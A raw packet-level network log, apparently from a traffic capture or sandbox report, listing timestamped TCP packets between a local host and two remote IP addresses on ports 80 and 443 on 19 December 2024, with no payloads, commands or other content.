Dec 19, 2024 06:09:51.309438944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.310370922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.310496092 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.310575008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.310723066 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.311477900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.311568975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.311597109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.311789036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.312691927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.312767982 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.312813997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.312855959 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.313705921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.313770056 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.313818932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.314039946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.314824104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.314878941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.314971924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.315905094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.315957069 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.315973997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.316054106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.317087889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.317166090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.317190886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.317256927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.318130970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.318198919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.318242073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.318883896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.319233894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.319282055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.319329023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.319477081 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.320327044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.320466995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.320549965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.321468115 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.321716070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.321892023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.322679996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.322767019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.322799921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.322861910 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.323694944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.323710918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.323740005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.323756933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.324796915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.324960947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.324994087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.325097084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.325884104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.326008081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.326077938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.327003002 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.327138901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.327193022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.328103065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.328212023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.328231096 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.328610897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.329240084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.329368114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.329461098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.330328941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.330418110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.330554008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.331464052 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.331500053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.331521988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.331727028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.332549095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.332648993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.332724094 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.333647966 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.333823919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.333978891 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.334789991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.334906101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.334942102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.335122108 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.335897923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.335913897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.335942984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.336029053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.337057114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.337135077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.337162971 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.338097095 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.338107109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.338208914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.338231087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.338376999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.339220047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.339292049 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.339330912 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.339369059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.340379000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.340539932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.340573072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.341018915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.341398954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.341540098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.341677904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.342597008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.342641115 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.342816114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.342816114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.343631983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.343657017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.343689919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.343728065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.344744921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.344875097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.344908953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.345110893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.345841885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.345978975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.346035957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.347027063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.347044945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.347150087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.347196102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.348151922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.348166943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.348217964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.349217892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.349271059 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.349473000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.350265026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.350347996 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.350383043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.351368904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.351433039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.351464033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.352046013 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.352487087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.352638960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.353676081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.353729010 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.353739977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.354670048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.354913950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.354962111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.355839014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.355988979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.356050014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.356897116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.356964111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.357070923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.358032942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.358058929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.358145952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.359138966 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.359296083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.360073090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.360270023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.360367060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.360548973 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.361358881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.361375093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.361434937 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.362466097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.362482071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.362541914 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.363688946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.363703966 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.363755941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.364718914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.364995956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.387831926 CET	49867	443	192.168.2.4	20.233.83.145
Dec 19, 2024 06:09:51.387887001 CET	443	49867	20.233.83.145	192.168.2.4
Dec 19, 2024 06:09:51.388053894 CET	49867	443	192.168.2.4	20.233.83.145
Dec 19, 2024 06:09:51.399454117 CET	49867	443	192.168.2.4	20.233.83.145
Dec 19, 2024 06:09:51.399483919 CET	443	49867	20.233.83.145	192.168.2.4
Dec 19, 2024 06:09:51.498887062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.498908043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.498974085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.499387980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.499443054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.499443054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.499505997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.500402927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.500480890 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.500530005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.500585079 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.501491070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.501568079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.502405882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.502628088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.502758026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.502789021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.502921104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.503875971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.503994942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.504103899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.504844904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.504988909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.505031109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.505031109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.506037951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.506053925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.506105900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.506105900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.507091045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.507106066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.507167101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.507167101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.508143902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.508251905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.508280993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.508325100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.509282112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.509356022 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.509377003 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.509449005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.510392904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.510462046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.510488033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.510536909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.511492968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.511554003 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.511574984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.511682034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.512604952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.512667894 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.512695074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.512763023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.513730049 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.513787031 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.513818026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.513880014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.514822006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.514869928 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.514898062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.514945984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.515968084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.516041994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.516077042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.516143084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.517051935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.517107964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.517122984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.517167091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.518148899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.518214941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.518249035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.518412113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.519248009 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.519335032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.519364119 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.519428015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.520340919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.520431042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.520457983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.520510912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.521471024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.521574974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.521610022 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.521792889 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.522535086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.522624969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.522661924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.522737026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.523653984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.523854971 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.523889065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.524066925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.524751902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.524849892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.524923086 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.525897026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.525947094 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.525985956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.526051998 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.527014971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.527124882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.527127028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.527293921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.528069973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.528151035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.528182983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.528225899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.529220104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.529267073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.529345989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.529397964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.530316114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.530419111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.530426025 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.530473948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.531413078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.531462908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.531500101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.531547070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.532516956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.532612085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.532630920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.532680988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.533644915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.533693075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.533787012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.533823013 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.534727097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.534826040 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.534854889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.534913063 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.535849094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.535967112 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.536010981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.536075115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.536974907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.537045956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.537069082 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.537226915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.538095951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.538141966 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.538142920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.538208008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.539179087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.539235115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.539237976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.539295912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.540258884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.540304899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.540391922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.540458918 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.541382074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.541440010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.541488886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.541568995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.542490005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.542579889 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.542633057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.542723894 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.543647051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.543715000 CET	80	49860	31.41.244.11	192.168.2.4
